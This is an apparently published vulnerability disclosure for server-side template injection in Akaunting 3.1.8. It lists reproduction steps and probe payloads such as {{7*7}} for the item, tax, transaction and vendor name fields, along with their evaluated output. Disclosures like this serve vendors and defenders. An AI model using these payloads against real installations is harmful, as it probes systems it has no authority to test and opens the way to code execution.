Akaunting 3.1.8 - Server-Side Template Injection (SSTI) Vulnerability

# Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)
# Exploit Author: tmrswrr
# Vendor: https://akaunting.com/forum
# Software Link: https://akaunting.com/apps/crm
# Vulnerable Version(s): 3.1.8
# Tested : https://www.softaculous.com/apps/erp/Akaunting


1 ) Login with admin cred and go to : Items > New Item
    https://127.0.0.1/Akaunting/1/common/items
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    

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1 ) Login with admin cred and go to :Settings > Taxes > New Tax
    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
====================================================================================


1 ) Login with admin cred and go to : Banking > Transactions > New Income
https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income
2 ) Write SSTI payload : {{7*7}}  Description field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
    
=======================================================================================

1 ) Login with admin cred
https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab